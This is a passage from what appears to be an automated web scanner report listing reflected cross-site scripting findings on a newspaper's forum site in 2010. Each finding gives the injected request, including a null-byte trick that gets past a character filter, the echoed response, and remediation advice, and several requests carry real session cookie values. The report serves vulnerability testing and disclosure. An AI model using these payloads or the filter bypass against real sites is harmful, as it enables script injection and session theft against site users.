Path:   /forums/forum/673

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8cac3"-alert(1)-"ff2a2ccfa6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /forums8cac3"-alert(1)-"ff2a2ccfa6/forum/673 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Sun, 14 Nov 2010 23:12:58 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Set-Cookie: SESS7d37fc218a44afb27b49a326af87a923=7cf2c41678eb464964f8a0ac1163697f; expires=Wed, 08 Dec 2010 02:46:18 GMT; path=/; domain=.forums.mercurynews.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Sun, 14 Nov 2010 23:13:22 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22034

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
nguage="JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / forums8cac3"-alert(1)-"ff2a2ccfa6/forum/673";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campai
...[SNIP]...

1.20. http://forums.mercurynews.com/forums/forum/673 [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /forums/forum/673

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload %00f1250"-alert(1)-"6cf71db7b96 was submitted in the REST URL parameter 2. This input was echoed as f1250"-alert(1)-"6cf71db7b96 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /forums/forum%00f1250"-alert(1)-"6cf71db7b96/673 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Sun, 14 Nov 2010 23:13:32 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Set-Cookie: SESS7d37fc218a44afb27b49a326af87a923=ec6a4cd6b8b79036be9cc2544a3b80f1; expires=Wed, 08 Dec 2010 02:46:52 GMT; path=/; domain=.forums.mercurynews.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Sun, 14 Nov 2010 23:13:56 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 21992

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
avaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / forums/forum%00f1250"-alert(1)-"6cf71db7b96/673";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=get
...[SNIP]...

1.21. http://forums.mercurynews.com/forums/forum/673 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /forums/forum/673

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload %00827f3"-alert(1)-"682449f4fa5 was submitted in the REST URL parameter 3. This input was echoed as 827f3"-alert(1)-"682449f4fa5 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /forums/forum/673%00827f3"-alert(1)-"682449f4fa5 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Sun, 14 Nov 2010 23:13:58 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Set-Cookie: SESS7d37fc218a44afb27b49a326af87a923=96d5ff16ceb4d4857e2b1a534cbdbe8f; expires=Wed, 08 Dec 2010 02:47:18 GMT; path=/; domain=.forums.mercurynews.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Sun, 14 Nov 2010 23:14:22 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 21992

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
cript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / forums/forum/673%00827f3"-alert(1)-"682449f4fa5";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCiQu
...[SNIP]...

1.22. http://forums.mercurynews.com/forums/jrss/forum/602/5 [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /forums/jrss/forum/602/5

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 55459"-alert(1)-"f8751e5772f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /forums55459"-alert(1)-"f8751e5772f/jrss/forum/602/5?callback=processJsonTopics&js_param1=forum_topics_container HTTP/1.1
Accept: */*
Referer: http://www.mercurynews.com/opinion
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: forums.mercurynews.com
Proxy-Connection: Keep-Alive
Cookie: s_cc=true; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507; ZZRDB162,570,21=1; ZZFLSH=29; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 01:54:13 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 01:54:37 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22190

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
nguage="JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / forums55459"-alert(1)-"f8751e5772f/jrss/forum/602/5?callback=processJsonTopics&js_param1=forum_topics_container";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";

...[SNIP]...

1.23. http://forums.mercurynews.com/forums/jrss/forum/602/5 [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /forums/jrss/forum/602/5

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload %0035e64"-alert(1)-"1c84bda8999 was submitted in the REST URL parameter 2. This input was echoed as 35e64"-alert(1)-"1c84bda8999 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /forums/jrss%0035e64"-alert(1)-"1c84bda8999/forum/602/5?callback=processJsonTopics&js_param1=forum_topics_container HTTP/1.1
Accept: */*
Referer: http://www.mercurynews.com/opinion
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: forums.mercurynews.com
Proxy-Connection: Keep-Alive
Cookie: s_cc=true; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507; ZZRDB162,570,21=1; ZZFLSH=29; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 01:54:22 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 01:54:46 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Content-Type: text/html; charset=utf-8
Content-Length: 22135

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / forums/jrss%0035e64"-alert(1)-"1c84bda8999/forum/602/5?callback=processJsonTopics&js_param1=forum_topics_container";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eV
...[SNIP]...

1.24. http://forums.mercurynews.com/forums/jrss/forum/602/5 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /forums/jrss/forum/602/5

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload %0054fb5"-alert(1)-"d8ab2187b4c was submitted in the REST URL parameter 3. This input was echoed as 54fb5"-alert(1)-"d8ab2187b4c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /forums/jrss/forum%0054fb5"-alert(1)-"d8ab2187b4c/602/5?callback=processJsonTopics&js_param1=forum_topics_container HTTP/1.1
Accept: */*
Referer: http://www.mercurynews.com/opinion
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: forums.mercurynews.com
Proxy-Connection: Keep-Alive
Cookie: s_cc=true; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507; ZZRDB162,570,21=1; ZZFLSH=29; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 01:54:28 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 01:54:52 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Content-Type: text/html; charset=utf-8
Content-Length: 22135

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
ript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / forums/jrss/forum%0054fb5"-alert(1)-"d8ab2187b4c/602/5?callback=processJsonTopics&js_param1=forum_topics_container";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=ge
...[SNIP]...

1.25. http://forums.mercurynews.com/forums/jrss/forum/602/5 [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /forums/jrss/forum/602/5

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload %0031fdf"-alert(1)-"ae07d35c128 was submitted in the REST URL parameter 4. This input was echoed as 31fdf"-alert(1)-"ae07d35c128 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /forums/jrss/forum/602%0031fdf"-alert(1)-"ae07d35c128/5?callback=processJsonTopics&js_param1=forum_topics_container HTTP/1.1
Accept: */*
Referer: http://www.mercurynews.com/opinion
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: forums.mercurynews.com
Proxy-Connection: Keep-Alive
Cookie: s_cc=true; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507; ZZRDB162,570,21=1; ZZFLSH=29; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 01:54:34 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 01:54:58 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Content-Type: text/html; charset=utf-8
Content-Length: 22135

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / forums/jrss/forum/602%0031fdf"-alert(1)-"ae07d35c128/5?callback=processJsonTopics&js_param1=forum_topics_container";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQ
...[SNIP]...

1.26. http://forums.mercurynews.com/forums/jrss/forum/602/5 [callback parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /forums/jrss/forum/602/5

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 7fea7<script>alert(1)</script>441aed72aaa was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /forums/jrss/forum/602/5?callback=processJsonTopics7fea7<script>alert(1)</script>441aed72aaa&js_param1=forum_topics_container HTTP/1.1
Accept: */*
Referer: http://www.mercurynews.com/opinion
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: forums.mercurynews.com
Proxy-Connection: Keep-Alive
Cookie: s_cc=true; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507; ZZRDB162,570,21=1; ZZFLSH=29; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63

Response (redirected)

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 01:22:40 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 01:23:04 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Content-Length: 2427
Content-Type: text/html; charset=utf-8

processJsonTopics7fea7<script>alert(1)</script>441aed72aaa( { 'xml' : '<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xml:base="http://forums.mercurynews.com" xmlns:dc="http://purl.org/dc/e
...[SNIP]...

1.27. http://forums.mercurynews.com/forums/jrss/forum/602/5 [js_param1 parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /forums/jrss/forum/602/5

Issue detail

The value of the js_param1 request parameter is copied into the HTML document as plain text between tags. The payload 4134b<script>alert(1)</script>ea3b7054a28 was submitted in the js_param1 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /forums/jrss/forum/602/5?callback=processJsonTopics&js_param1=forum_topics_container4134b<script>alert(1)</script>ea3b7054a28 HTTP/1.1
Accept: */*
Referer: http://www.mercurynews.com/opinion
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: forums.mercurynews.com
Proxy-Connection: Keep-Alive
Cookie: s_cc=true; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507; ZZRDB162,570,21=1; ZZFLSH=29; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63

Response (redirected)

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 01:25:41 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 01:26:05 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Content-Length: 2427
Content-Type: text/html; charset=utf-8

processJsonTopics( { 'xml' : '<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xml:base="http://forums.mercurynews.com" xmlns:dc="http://purl.org/dc/elements/1.1/"><channel> <title>MercuryNew
...[SNIP]...
</rss>' } , 'forum_topics_container4134b<script>alert(1)</script>ea3b7054a28' );

1.28. http://forums.mercurynews.com/forums/poll [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /forums/poll

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d7fc6"-alert(1)-"9628637350 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /forumsd7fc6"-alert(1)-"9628637350/poll HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Sun, 14 Nov 2010 23:12:05 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Set-Cookie: SESS7d37fc218a44afb27b49a326af87a923=d014b033f451192e0b481c31c0f9c21f; expires=Wed, 08 Dec 2010 02:45:25 GMT; path=/; domain=.forums.mercurynews.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Sun, 14 Nov 2010 23:12:29 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22022

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
nguage="JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / forumsd7fc6"-alert(1)-"9628637350/poll";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=ge
...[SNIP]...

1.29. http://forums.mercurynews.com/forums/poll [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /forums/poll

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload %00cc000"-alert(1)-"9c127b33533 was submitted in the REST URL parameter 2. This input was echoed as cc000"-alert(1)-"9c127b33533 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /forums/poll%00cc000"-alert(1)-"9c127b33533 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Sun, 14 Nov 2010 23:12:30 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Set-Cookie: SESS7d37fc218a44afb27b49a326af87a923=ba286c7c4afb5835084961bfc4371e7b; expires=Wed, 08 Dec 2010 02:45:50 GMT; path=/; domain=.forums.mercurynews.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Sun, 14 Nov 2010 23:12:54 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 21987

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / forums/poll%00cc000"-alert(1)-"9c127b33533";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCiQu
...[SNIP]...

1.30. http://forums.mercurynews.com/forums/syndication/jsonXmlToHtml.js [REST URL parameter 1]  previous  next

Summary

